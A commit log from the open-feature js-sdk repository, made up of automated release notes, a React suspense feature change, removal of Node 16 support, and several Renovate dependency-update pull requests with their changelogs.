OpenFeature Bot 988a1f767d
chore(main): release nestjs-sdk 0.1.5-experimental (#928)
🤖 I have created a release *beep* *boop*
---


##
[0.1.5-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.4-experimental...nestjs-sdk-v0.1.5-experimental)
(2024-05-13)


### 🐛 Bug Fixes

* removes exports of OpenFeatureClient class and makes event props
readonly ([#918](https://github.com/open-feature/js-sdk/issues/918))
([e9a25c2](e9a25c21cb))


### 🧹 Chore

* remove node 16
([#875](https://github.com/open-feature/js-sdk/issues/875))
([c1878e4](c1878e4eff))
* **deps:** update dependency supertest to v7
([#939](https://github.com/open-feature/js-sdk/issues/939))
([9083df8](9083df8463))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-13 17:16:34 -04:00
OpenFeature Bot ee08911c17
chore(main): release web-sdk 1.1.0 (#929)
🤖 I have created a release *beep* *boop*
---


##
[1.1.0](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.0.3...web-sdk-v1.1.0)
(2024-05-13)


###  New Features

* set context during provider init on web
([#919](https://github.com/open-feature/js-sdk/issues/919))
([7e6c1c6](7e6c1c6e70))


### 🐛 Bug Fixes

* remove export of OpenFeatureClient
([#794](https://github.com/open-feature/js-sdk/issues/794))
([3d197f2](3d197f2ea7))
* removes exports of OpenFeatureClient class and makes event props
readonly ([#918](https://github.com/open-feature/js-sdk/issues/918))
([e9a25c2](e9a25c21cb))
* run error hook when provider returns reason error or error code
([#926](https://github.com/open-feature/js-sdk/issues/926))
([c6d0b5d](c6d0b5da9c))
* skip reconciling event for synchronous onContextChange operations
([#931](https://github.com/open-feature/js-sdk/issues/931))
([6c25f29](6c25f29f11))


### 🧹 Chore

* **main:** release core 1.2.0
([#927](https://github.com/open-feature/js-sdk/issues/927))
([692ad5b](692ad5b27a))


### 📚 Documentation

* add tip about supported usage in the install section
([#941](https://github.com/open-feature/js-sdk/issues/941))
([f0de667](f0de66770b))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-13 17:09:46 -04:00
OpenFeature Bot f2ebd11072
chore(main): release server-sdk 1.14.0 (#930)
🤖 I have created a release *beep* *boop*
---


##
[1.14.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.13.5...server-sdk-v1.14.0)
(2024-05-13)


### 🐛 Bug Fixes

* remove export of OpenFeatureClient
([#794](https://github.com/open-feature/js-sdk/issues/794))
([3d197f2](3d197f2ea7))
* removes exports of OpenFeatureClient class and makes event props
readonly ([#918](https://github.com/open-feature/js-sdk/issues/918))
([e9a25c2](e9a25c21cb))
* run error hook when provider returns reason error or error code
([#926](https://github.com/open-feature/js-sdk/issues/926))
([c6d0b5d](c6d0b5da9c))


### 🧹 Chore

* remove node 16
([#875](https://github.com/open-feature/js-sdk/issues/875))
([c1878e4](c1878e4eff))
* **main:** release core 1.2.0
([#927](https://github.com/open-feature/js-sdk/issues/927))
([692ad5b](692ad5b27a))


### 📚 Documentation

* add tip about supported usage in the install section
([#941](https://github.com/open-feature/js-sdk/issues/941))
([f0de667](f0de66770b))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-13 16:23:24 -04:00
OpenFeature Bot 692ad5b27a
chore(main): release core 1.2.0 (#927)
🤖 I have created a release *beep* *boop*
---


##
[1.2.0](https://github.com/open-feature/js-sdk/compare/core-v1.1.0...core-v1.2.0)
(2024-05-13)


###  New Features

* set context during provider init on web
([#919](https://github.com/open-feature/js-sdk/issues/919))
([7e6c1c6](7e6c1c6e70))


### 🐛 Bug Fixes

* removes exports of OpenFeatureClient class and makes event props
readonly ([#918](https://github.com/open-feature/js-sdk/issues/918))
([e9a25c2](e9a25c21cb))
* run error hook when provider returns reason error or error code
([#926](https://github.com/open-feature/js-sdk/issues/926))
([c6d0b5d](c6d0b5da9c))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-13 19:41:23 +00:00
Todd Baert 6bcef8977d
feat!: disable suspense by default, add suspense hooks (#940)
This PR:

- inverts the suspense defaults (we now do not suspend by default, you
have to add `suspend:true` in options)
- adds `useSuspenseFlag` (analogous to `useSuspenseXxx`) in other
libraries, which behaves the same as `useFlag` with `{ suspend: true }`
- updates README (specifically encourages use use "query-style" hooks
over type-specific hooks
- adds `@experimental` jsdoc marker to all suspense options and hooks
- associated tests


Things to consider:

- I did not add `useSuspense{Type}FlagValue` and
`useSuspense{Type}FlagDetails` hooks; we could do this if we wanted, but
IMO these are already not the primary APIs we want to push users toward
in react - we want them to use the generic `useFlag` and
`useSuspenseFlag` which return the react query interfaces.

Fixes: https://github.com/open-feature/js-sdk/issues/933

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-13 19:08:10 +00:00
Lukas Reining c1878e4eff
feat: remove node 16 (#875)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

Removes Node 16 as it is deprecated.

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-13 14:52:47 -04:00
renovate[bot] 9083df8463
chore(deps): update dependency supertest to v7 (#939)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [supertest](https://togithub.com/ladjs/supertest) | [`^6.3.3` ->
`^7.0.0`](https://renovatebot.com/diffs/npm/supertest/6.3.4/7.0.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/supertest/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/supertest/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/supertest/6.3.4/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/supertest/6.3.4/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>ladjs/supertest (supertest)</summary>

### [`v7.0.0`](https://togithub.com/ladjs/supertest/releases/tag/v7.0.0)

[Compare
Source](https://togithub.com/ladjs/supertest/compare/v6.3.4...v7.0.0)

- Merge pull request
[#&#8203;834](https://togithub.com/ladjs/supertest/issues/834) from
Bruception/master
[`225118c`](https://togithub.com/ladjs/supertest/commit/225118c)
- Fix TestAgent not inheriting Agent properties
[`f290431`](https://togithub.com/ladjs/supertest/commit/f290431)
- fix: bump deps, drop Node.js v<14.16.0
[`1e18c20`](https://togithub.com/ladjs/supertest/commit/1e18c20)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNDAuMTAiLCJ1cGRhdGVkSW5WZXIiOiIzNy4zNTEuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-13 09:56:02 -04:00
renovate[bot] 3d0b2a7672
chore(deps): update nest monorepo to v10.3.8 (#902)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/common)) |
[`10.3.6` ->
`10.3.8`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.3.6/10.3.8)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.3.6/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.3.6/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/core](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/core)) |
[`10.3.6` ->
`10.3.8`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.3.6/10.3.8)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.3.6/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.3.6/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`10.3.6` ->
`10.3.8`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.3.6/10.3.8)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.3.6/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.3.6/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/testing](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/testing))
| [`10.3.6` ->
`10.3.8`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.3.6/10.3.8)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.3.6/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.3.6/10.3.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v10.3.8`](https://togithub.com/nestjs/nest/compare/v10.3.7...6538ede9eff43e90e24eb5033698c470ee021d2e)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.7...v10.3.8)

###
[`v10.3.7`](https://togithub.com/nestjs/nest/compare/v10.3.6...8b4dbb30909be86290d01da54205ab4bf081ab46)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.6...v10.3.7)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

###
[`v10.3.8`](https://togithub.com/nestjs/nest/compare/v10.3.7...6538ede9eff43e90e24eb5033698c470ee021d2e)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.7...v10.3.8)

###
[`v10.3.7`](https://togithub.com/nestjs/nest/compare/v10.3.6...8b4dbb30909be86290d01da54205ab4bf081ab46)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.6...v10.3.7)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

###
[`v10.3.8`](https://togithub.com/nestjs/nest/compare/v10.3.7...6538ede9eff43e90e24eb5033698c470ee021d2e)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.7...v10.3.8)

###
[`v10.3.7`](https://togithub.com/nestjs/nest/compare/v10.3.6...8b4dbb30909be86290d01da54205ab4bf081ab46)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.6...v10.3.7)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

###
[`v10.3.8`](https://togithub.com/nestjs/nest/compare/v10.3.7...6538ede9eff43e90e24eb5033698c470ee021d2e)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.7...v10.3.8)

###
[`v10.3.7`](https://togithub.com/nestjs/nest/compare/v10.3.6...8b4dbb30909be86290d01da54205ab4bf081ab46)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.6...v10.3.7)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yNjkuMiIsInVwZGF0ZWRJblZlciI6IjM3LjMxMy4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-13 09:27:13 -04:00
renovate[bot] d5c68eacc4
chore(deps): update dependency eslint-plugin-jest to v28 (#938)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jest](https://togithub.com/jest-community/eslint-plugin-jest)
| [`^27.6.3` ->
`^28.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jest/27.9.0/28.5.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jest/28.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jest/28.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jest/27.9.0/28.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jest/27.9.0/28.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>jest-community/eslint-plugin-jest
(eslint-plugin-jest)</summary>

###
[`v28.5.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2850-2024-05-03)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v28.4.0...v28.5.0)

##### Features

- allow `@typescript-eslint/utils` v7 as a direct dependency
([#&#8203;1567](https://togithub.com/jest-community/eslint-plugin-jest/issues/1567))
([1476f10](1476f10d39))

###
[`v28.4.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2840-2024-05-03)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v28.3.0...v28.4.0)

##### Features

- **valid-expect:** supporting automatically fixing missing `await` in
some cases
([#&#8203;1574](https://togithub.com/jest-community/eslint-plugin-jest/issues/1574))
([a407098](a40709833c))

###
[`v28.3.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2830-2024-04-27)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v28.2.0...v28.3.0)

##### Features

- prefer importing jest globals for specific types
([#&#8203;1568](https://togithub.com/jest-community/eslint-plugin-jest/issues/1568))
([c464ae3](c464ae311b))

###
[`v28.2.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2820-2024-04-06)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v28.1.1...v28.2.0)

##### Features

- support providing aliases for `@jest/globals` package
([#&#8203;1543](https://togithub.com/jest-community/eslint-plugin-jest/issues/1543))
([744d4f6](744d4f6fa5))

####
[28.1.1](https://togithub.com/jest-community/eslint-plugin-jest/compare/v28.1.0...v28.1.1)
(2024-04-06)

##### Bug Fixes

- **max-expects:** properly reset counter when exiting a test case
([#&#8203;1550](https://togithub.com/jest-community/eslint-plugin-jest/issues/1550))
([b4b7cbc](b4b7cbc619))

###
[`v28.1.1`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2811-2024-04-06)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v28.1.0...v28.1.1)

##### Bug Fixes

- **max-expects:** properly reset counter when exiting a test case
([#&#8203;1550](https://togithub.com/jest-community/eslint-plugin-jest/issues/1550))
([b4b7cbc](b4b7cbc619))

###
[`v28.1.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2810-2024-04-06)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v28.0.0...v28.1.0)

##### Features

- add `prefer-importing-jest-globals` rule
([#&#8203;1490](https://togithub.com/jest-community/eslint-plugin-jest/issues/1490))
([37478d8](37478d860e)),
closes
[#&#8203;1101](https://togithub.com/jest-community/eslint-plugin-jest/issues/1101)

###
[`v28.0.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2800-2024-04-06)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.9.0...v28.0.0)

##### Bug Fixes

- allow ESLint 9 as peer dependency
([#&#8203;1547](https://togithub.com/jest-community/eslint-plugin-jest/issues/1547))
([3c5e167](3c5e1673af))
- drop support for Node 19
([#&#8203;1548](https://togithub.com/jest-community/eslint-plugin-jest/issues/1548))
([c87e388](c87e3887e7))
- **no-large-snapshots:** avoid `instanceof RegExp` check for ESLint v9
compatibility
([#&#8203;1542](https://togithub.com/jest-community/eslint-plugin-jest/issues/1542))
([af4a9c9](af4a9c94d6))

##### Features

- drop support for `@typescript-eslint/eslint-plugin` v5
([#&#8203;1530](https://togithub.com/jest-community/eslint-plugin-jest/issues/1530))
([150e355](150e3558a6))
- drop support for Node v14
([#&#8203;1527](https://togithub.com/jest-community/eslint-plugin-jest/issues/1527))
([df5e580](df5e58081d))
- remove `no-if` rule
([#&#8203;1528](https://togithub.com/jest-community/eslint-plugin-jest/issues/1528))
([f976fc8](f976fc8c71))
- remove `snapshot` processor and `flat/snapshot` config
([#&#8203;1532](https://togithub.com/jest-community/eslint-plugin-jest/issues/1532))
([98087f9](98087f9bb2))
- upgrade `@typescript-eslint/utils` to v6
([#&#8203;1508](https://togithub.com/jest-community/eslint-plugin-jest/issues/1508))
([dc6e8cd](dc6e8cd249))

##### BREAKING CHANGES

-   Node v19 is no longer supported
-   removed unneeded `snapshot` processor and `flat/snapshot` config
-   dropped support for `@typescript-eslint/eslint-plugin` v5
-   dropped support for Node v14
-   removed `no-if` in favor of `no-conditional-in-test`

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNDAuMTAiLCJ1cGRhdGVkSW5WZXIiOiIzNy4zNDAuMTAiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-13 09:26:34 -04:00
renovate[bot] 93101db88b
chore(deps): update testing-library monorepo (#936)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@testing-library/jest-dom](https://togithub.com/testing-library/jest-dom)
| [`6.4.4` ->
`6.4.5`](https://renovatebot.com/diffs/npm/@testing-library%2fjest-dom/6.4.4/6.4.5)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2fjest-dom/6.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2fjest-dom/6.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2fjest-dom/6.4.4/6.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2fjest-dom/6.4.4/6.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@testing-library/react](https://togithub.com/testing-library/react-testing-library)
| [`15.0.6` ->
`15.0.7`](https://renovatebot.com/diffs/npm/@testing-library%2freact/15.0.6/15.0.7)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2freact/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2freact/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2freact/15.0.6/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2freact/15.0.6/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>testing-library/jest-dom
(@&#8203;testing-library/jest-dom)</summary>

###
[`v6.4.5`](https://togithub.com/testing-library/jest-dom/releases/tag/v6.4.5)

[Compare
Source](https://togithub.com/testing-library/jest-dom/compare/v6.4.4...v6.4.5)

##### Bug Fixes

- add js suffix to isEqualWith import
([#&#8203;599](https://togithub.com/testing-library/jest-dom/issues/599))
([e8c8b13](e8c8b13c6d))

</details>

<details>
<summary>testing-library/react-testing-library
(@&#8203;testing-library/react)</summary>

###
[`v15.0.7`](https://togithub.com/testing-library/react-testing-library/compare/v15.0.6...c1f2957a219ec7e6a6159a57c5d0717655c515cd)

[Compare
Source](https://togithub.com/testing-library/react-testing-library/compare/v15.0.6...v15.0.7)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config help](https://togithub.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNDAuMTAiLCJ1cGRhdGVkSW5WZXIiOiIzNy4zNTEuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-13 09:26:15 -04:00
renovate[bot] b45f52a175
chore(deps): update dependency eslint-plugin-jsdoc to v48.2.4 (#945)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-jsdoc](https://togithub.com/gajus/eslint-plugin-jsdoc)
| [`48.2.3` ->
`48.2.4`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/48.2.3/48.2.4)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/48.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/48.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/48.2.3/48.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/48.2.3/48.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v48.2.4`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.3...4da4aebf35f49b607e32dcfb3142dba812e6d705)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.3...v48.2.4)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNTEuMiIsInVwZGF0ZWRJblZlciI6IjM3LjM1MS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-13 09:25:35 -04:00
renovate[bot] cce3e06c9b
chore(deps): update dependency @types/node to v20.12.11 (#937)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`20.12.8` ->
`20.12.11`](https://renovatebot.com/diffs/npm/@types%2fnode/20.12.8/20.12.11)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.12.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.12.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.12.8/20.12.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.12.8/20.12.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
